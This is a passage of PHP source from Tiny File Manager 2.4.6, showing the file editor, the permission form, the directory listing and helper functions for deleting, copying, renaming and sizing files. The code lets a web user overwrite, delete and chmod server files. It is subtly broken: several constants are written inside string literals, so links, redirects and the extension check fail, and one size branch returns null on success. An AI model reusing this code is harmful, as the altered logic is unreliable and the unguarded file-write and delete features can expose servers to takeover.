    if ($file == '' || !is_file($path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    header('X-XSS-Protection:0');
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    $file_url = FM_ROOT_URL . fm_convert_win("/FM_PATH/" . $file);
    $file_path = $path . '/' . $file;
    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }
    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }
    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = '';
    // for text
    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }
    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php 
    if (!$isNormalEditor) {
        ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
                            <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="Select Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
                        </div>
                    <?php 
    }
    ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
                <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php 
    echo urlencode(trim(FM_PATH));
    ?>&amp;view=<?php 
    echo urlencode($file);
    ?>"><i class="fa fa-reply-all"></i> <?php 
    echo lng('Back');
    ?></a>
                <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php 
    echo urlencode(trim(FM_PATH));
    ?>','<?php 
    echo urlencode($file);
    ?>')"><i class="fa fa-database"></i> <?php 
    echo lng('BackUp');
    ?></a>
                <?php 
    if ($is_text) {
        ?>
                    <?php 
        if ($isNormalEditor) {
            ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php 
            echo urlencode(trim(FM_PATH));
            ?>&amp;edit=<?php 
            echo urlencode($file);
            ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php 
            echo lng('AdvancedEditor');
            ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php 
            echo fm_enc($file_url);
            ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php 
        } else {
            ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php 
            echo urlencode(trim(FM_PATH));
            ?>&amp;edit=<?php 
            echo urlencode($file);
            ?>"><i class="fa fa-text-height"></i> <?php 
            echo lng('NormalEditor');
            ?></a>
                        <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php 
            echo fm_enc($file_url);
            ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php 
            echo lng('Save');
            ?>
                        </button>
                    <?php 
        }
        ?>
                <?php 
    }
    ?>
            </div>
        </div>
        <?php 
    if ($is_text && $isNormalEditor) {
        echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
    } elseif ($is_text) {
        echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
    } else {
        fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
    }
    ?>
    </div>
    <?php 
    fm_show_footer();
    exit;
}
// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) && !is_dir($path . '/' . $file)) {
        fm_set_msg(lng('File not found'), 'error');
        fm_redirect("FM_SELF_URL?p=" . urlencode(FM_PATH));
    }
    fm_show_header();
    // HEADER
    fm_show_nav_path(FM_PATH);
    // current path
    $file_url = "FM_ROOT_URL/FM_PATH/" . $file;
    $file_path = $path . '/' . $file;
    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php 
    echo fm_get_theme();
    ?>">
            <h6 class="card-header">
                <?php 
    echo lng('ChangePermissions');
    ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    Full path: <?php 
    echo $file_path;
    ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php 
    echo fm_enc(FM_PATH);
    ?>">
                    <input type="hidden" name="chmod" value="<?php 
    echo fm_enc($file);
    ?>">

                    <table class="table compact-table <?php 
    echo fm_get_theme();
    ?>">
                        <tr>
                            <td></td>
                            <td><b><?php 
    echo lng('Owner');
    ?></b></td>
                            <td><b><?php 
    echo lng('Group');
    ?></b></td>
                            <td><b><?php 
    echo lng('Other');
    ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php 
    echo lng('Read');
    ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php 
    echo $mode & 0400 ? ' checked' : '';
    ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php 
    echo $mode & 040 ? ' checked' : '';
    ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php 
    echo $mode & 04 ? ' checked' : '';
    ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php 
    echo lng('Write');
    ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php 
    echo $mode & 0200 ? ' checked' : '';
    ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php 
    echo $mode & 020 ? ' checked' : '';
    ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php 
    echo $mode & 02 ? ' checked' : '';
    ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php 
    echo lng('Execute');
    ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php 
    echo $mode & 0100 ? ' checked' : '';
    ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php 
    echo $mode & 010 ? ' checked' : '';
    ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php 
    echo $mode & 01 ? ' checked' : '';
    ?>></label></td>
                        </tr>
                    </table>

                    <p>
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php 
    echo lng('Change');
    ?></button> &nbsp;
                        <b><a href="?p=<?php 
    echo urlencode(FM_PATH);
    ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php 
    echo lng('Cancel');
    ?></a></b>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php 
    fm_show_footer();
    exit;
}
//--- FILEMANAGER MAIN
fm_show_header();
// HEADER
fm_show_nav_path(FM_PATH);
// current path
// messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php 
echo fm_enc(FM_PATH);
?>">
    <input type="hidden" name="group" value="1">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php 
echo "bg-white";
?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php 
if (!FM_READONLY) {
    ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php 
}
?>
                <th><?php 
echo lng('Name');
?></th>
                <th><?php 
echo lng('Size');
?></th>
                <th><?php 
echo lng('Modified');
?></th>
                <?php 
if (!FM_IS_WIN && !$hide_Cols) {
    ?>
                    <th><?php 
    echo lng('Perms');
    ?></th>
                    <th><?php 
    echo lng('Owner');
    ?></th><?php 
}
?>
                <th><?php 
echo lng('Actions');
?></th>
            </tr>
            </thead>
            <?php 
// link to parent folder
if ($parent !== false) {
    ?>
                <tr><?php 
    if (!FM_READONLY) {
        ?>
                    <td class="nosort"></td><?php 
    }
    ?>
                    <td class="border-0"><a href="?p=<?php 
    echo urlencode($parent);
    ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <td class="border-0"></td>
                    <?php 
    if (!FM_IS_WIN && !$hide_Cols) {
        ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php 
    }
    ?>
                </tr>
                <?php 
}
$ii = 3399;
foreach ($folders as $f) {
    $is_link = is_link($path . '/' . $f);
    $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
    $modif_raw = filemtime($path . '/' . $f);
    $modif = date(FM_DATETIME_FORMAT, $modif_raw);
    if ($calc_folder) {
        $filesize_raw = fm_get_directorysize($path . '/' . $f);
        $filesize = fm_get_filesize($filesize_raw);
    } else {
        $filesize_raw = "";
        $filesize = lng('Folder');
    }
    $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $owner = posix_getpwuid(fileowner($path . '/' . $f));
        $group = posix_getgrgid(filegroup($path . '/' . $f));
    } else {
        $owner = array('name' => '?');
        $group = array('name' => '?');
    }
    ?>
                <tr>
                    <?php 
    if (!FM_READONLY) {
        ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php 
        echo $ii;
        ?>" name="file[]" value="<?php 
        echo fm_enc($f);
        ?>">
                            <label class="custom-control-label" for="<?php 
        echo $ii;
        ?>"></label>
                        </div>
                        </td><?php 
    }
    ?>
                    <td>
                        <div class="filename"><a href="?p=<?php 
    echo urlencode(trim("FM_PATH/" . $f, '/'));
    ?>"><i class="<?php 
    echo $img;
    ?>"></i> <?php 
    echo fm_convert_win(fm_enc($f));
    ?>
                            </a><?php 
    echo $is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '';
    ?></div>
                    </td>
                    <td data-sort="a-<?php 
    echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);
    ?>">
                        <?php 
    echo $filesize;
    ?>
                    </td>
                    <td data-sort="a-<?php 
    echo $modif_raw;
    ?>"><?php 
    echo $modif;
    ?></td>
                    <?php 
    if (!FM_IS_WIN && !$hide_Cols) {
        ?>
                        <td><?php 
        if (!FM_READONLY) {
            ?><a title="Change Permissions" href="?p=<?php 
            echo urlencode(FM_PATH);
            ?>&amp;chmod=<?php 
            echo urlencode($f);
            ?>"><?php 
            echo $perms;
            ?></a><?php 
        } else {
            echo $perms;
        }
        ?>
                        </td>
                        <td><?php 
        echo $owner['name'] . ':' . $group['name'];
        ?></td>
                    <?php 
    }
    ?>
                    <td class="inline-actions"><?php 
    if (!FM_READONLY) {
        ?>
                            <a title="<?php 
        echo lng('Delete');
        ?>" href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>&amp;del=<?php 
        echo urlencode($f);
        ?>" onclick="return confirm('<?php 
        echo lng('Delete') . ' ' . lng('Folder') . '?';
        ?>\n \n ( <?php 
        echo urlencode($f);
        ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php 
        echo lng('Rename');
        ?>" href="#" onclick="rename('<?php 
        echo fm_enc(addslashes(FM_PATH));
        ?>', '<?php 
        echo fm_enc(addslashes($f));
        ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php 
        echo lng('CopyTo');
        ?>..." href="?p=&amp;copy=<?php 
        echo urlencode(trim("FM_PATH/" . $f, '/'));
        ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php 
    }
    ?>
                        <a title="<?php 
    echo lng('DirectLink');
    ?>" href="<?php 
    echo fm_enc("FM_ROOT_URL/FM_PATH/" . $f . '/');
    ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php 
    flush();
    $ii++;
}
$ik = 6070;
foreach ($files as $f) {
    $is_link = is_link($path . '/' . $f);
    $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
    $modif_raw = filemtime($path . '/' . $f);
    $modif = date(FM_DATETIME_FORMAT, $modif_raw);
    $filesize_raw = fm_get_size($path . '/' . $f);
    $filesize = fm_get_filesize($filesize_raw);
    $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
    $all_files_size += $filesize_raw;
    $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $owner = posix_getpwuid(fileowner($path . '/' . $f));
        $group = posix_getgrgid(filegroup($path . '/' . $f));
    } else {
        $owner = array('name' => '?');
        $group = array('name' => '?');
    }
    ?>
                <tr>
                    <?php 
    if (!FM_READONLY) {
        ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php 
        echo $ik;
        ?>" name="file[]" value="<?php 
        echo fm_enc($f);
        ?>">
                            <label class="custom-control-label" for="<?php 
        echo $ik;
        ?>"></label>
                        </div>
                        </td><?php 
    }
    ?>
                    <td>
                        <div class="filename">
                        <?php 
    if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
        ?>
                                <?php 
        $imagePreview = fm_enc("FM_ROOT_URL/FM_PATH/" . $f);
        ?>
                                <a href="<?php 
        echo $filelink;
        ?>" data-preview-image="<?php 
        echo $imagePreview;
        ?>" title="<?php 
        echo fm_enc($f);
        ?>">
                           <?php 
    } else {
        ?>
                                <a href="<?php 
        echo $filelink;
        ?>" title="<?php 
        echo $f;
        ?>">
                            <?php 
    }
    ?>
                                    <i class="<?php 
    echo $img;
    ?>"></i> <?php 
    echo fm_convert_win(fm_enc($f));
    ?>
                                </a>
                                <?php 
    echo $is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '';
    ?>
                        </div>
                    </td>
                    <td data-sort=b-"<?php 
    echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);
    ?>"><span title="<?php 
    printf('%s bytes', $filesize_raw);
    ?>">
                        <?php 
    echo $filesize;
    ?>
                        </span></td>
                    <td data-sort="b-<?php 
    echo $modif_raw;
    ?>"><?php 
    echo $modif;
    ?></td>
                    <?php 
    if (!FM_IS_WIN && !$hide_Cols) {
        ?>
                        <td><?php 
        if (!FM_READONLY) {
            ?><a title="<?php 
            echo "Change Permissions";
            ?>" href="?p=<?php 
            echo urlencode(FM_PATH);
            ?>&amp;chmod=<?php 
            echo urlencode($f);
            ?>"><?php 
            echo $perms;
            ?></a><?php 
        } else {
            echo $perms;
        }
        ?>
                        </td>
                        <td><?php 
        echo fm_enc($owner['name'] . ':' . $group['name']);
        ?></td>
                    <?php 
    }
    ?>
                    <td class="inline-actions">
                        <a title="<?php 
    echo lng('Preview');
    ?>" href="<?php 
    echo $filelink . '&quickView=1';
    ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php 
    echo fm_convert_win(fm_enc($f));
    ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
                        <?php 
    if (!FM_READONLY) {
        ?>
                            <a title="<?php 
        echo lng('Delete');
        ?>" href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>&amp;del=<?php 
        echo urlencode($f);
        ?>" onclick="return confirm('<?php 
        echo lng('Delete') . ' ' . lng('File') . '?';
        ?>\n \n ( <?php 
        echo urlencode($f);
        ?> )');"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php 
        echo lng('Rename');
        ?>" href="#" onclick="rename('<?php 
        echo fm_enc(addslashes(FM_PATH));
        ?>', '<?php 
        echo fm_enc(addslashes($f));
        ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php 
        echo lng('CopyTo');
        ?>..."
                               href="?p=<?php 
        echo urlencode(FM_PATH);
        ?>&amp;copy=<?php 
        echo urlencode(trim("FM_PATH/" . $f, '/'));
        ?>"><i class="fa fa-files-o"></i></a>
                        <?php 
    }
    ?>
                        <a title="<?php 
    echo lng('DirectLink');
    ?>" href="<?php 
    echo fm_enc("FM_ROOT_URL/FM_PATH/" . $f);
    ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php 
    echo lng('Download');
    ?>" href="?p=<?php 
    echo urlencode(FM_PATH);
    ?>&amp;dl=<?php 
    echo urlencode($f);
    ?>"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php 
    flush();
    $ik++;
}
if (empty($folders) && empty($files)) {
    ?>
                <tfoot>
                    <tr><?php 
    if (!FM_READONLY) {
        ?>
                            <td></td><?php 
    }
    ?>
                        <td colspan="<?php 
    echo !FM_IS_WIN && !$hide_Cols ? '6' : '4';
    ?>"><em><?php 
    echo "Folder is empty";
    ?></em></td>
                    </tr>
                </tfoot>
                <?php 
} else {
    ?>
                <tfoot>
                    <tr><?php 
    if (!FM_READONLY) {
        ?>
                            <td class="gray"></td><?php 
    }
    ?>
                        <td class="gray" colspan="<?php 
    echo !FM_IS_WIN && !$hide_Cols ? '6' : '4';
    ?>">
                            <?php 
    echo lng('FullSize') . ': <span class="badge badge-light">' . fm_get_filesize($all_files_size) . '</span>';
    ?>
                            <?php 
    echo lng('File') . ': <span class="badge badge-light">' . $num_files . '</span>';
    ?>
                            <?php 
    echo lng('Folder') . ': <span class="badge badge-light">' . $num_folders . '</span>';
    ?>
                            <?php 
    echo lng('PartitionSize') . ': <span class="badge badge-light">' . fm_get_filesize(@disk_free_space($path)) . '</span> ' . lng('FreeOf') . ' <span class="badge badge-light">' . fm_get_filesize(@disk_total_space($path)) . '</span>';
    ?>
                        </td>
                    </tr>
                </tfoot>
                <?php 
}
?>
        </table>
    </div>

    <div class="row">
        <?php 
if (!FM_READONLY) {
    ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php 
    echo lng('SelectAll');
    ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php 
    echo lng('UnSelectAll');
    ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php 
    echo lng('InvertSelection');
    ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php 
    echo lng('Delete selected files and folders?');
    ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php 
    echo lng('Delete');
    ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php 
    echo lng('Create archive?');
    ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php 
    echo lng('Zip');
    ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php 
    echo lng('Create archive?');
    ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php 
    echo lng('Tar');
    ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php 
    echo lng('Copy');
    ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php 
    echo "2.4.6";
    ?></a></div>
        <?php 
} else {
    ?>
            <div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php 
    echo "2.4.6";
    ?></a></div>
        <?php 
}
?>
    </div>

</form>

<?php 
fm_show_footer();
//--- END
// Functions
/**
 * Check if the filename is allowed.
 * @param string $filename
 * @return bool
 */
function fm_is_file_allowed($filename)
{
    // By default, no file is allowed
    $allowed = false;
    if (FM_EXTENSION) {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
            $allowed = true;
        }
    }
    return $allowed;
}
/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}
/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}
/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = array(0 => "FM_FILE_EXTENSION");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = $allowed ? in_array($ext, $allowed) : true;
    return $isFileAllowed ? true : false;
}
/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);
    if (!$isFileAllowed) {
        return false;
    }
    return !file_exists($new) && file_exists($old) ? rename($old, $new) : null;
}
/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}
/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}
/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}
/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return "--";
    }
}
/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}
/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path)
{
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) {
            continue;
        }
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path = get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}
/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return "";
    }
    return false;
}
/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file)
{
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }
    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) && !in_array("*.{$ext}", $exclude_items)) {
        return true;
    }
    return false;
}
/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr)
{
    try {
        $content = @file_get_contents('translation.json');
        if ($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value) {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr) {
                    $tr[$code] = $value["translation"];
                }
            }
            return $tr;
        }
    } catch (Exception $e) {
        echo $e;
    }
}
/**
 * @param $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = false;
    }
    if (!isset($isdarwin)) {
        $isdarwin = false;
    }
    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC';
    }
    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = $iswin ? "for %F in (\"{$file}\") do @echo %~zF" : ($isdarwin ? "stat -f%z {$arg}" : "stat -c%s {$arg}");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }
    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile(realpath($file));
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return null;
        }
    }
    // if all else fails
    return filesize($file);
}
/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
/**
 * Get director total size
 * @param string $directory
 * @return int
 */
function fm_get_directorysize($directory)
{
    global $calc_folder;
    if ($calc_folder == true) {
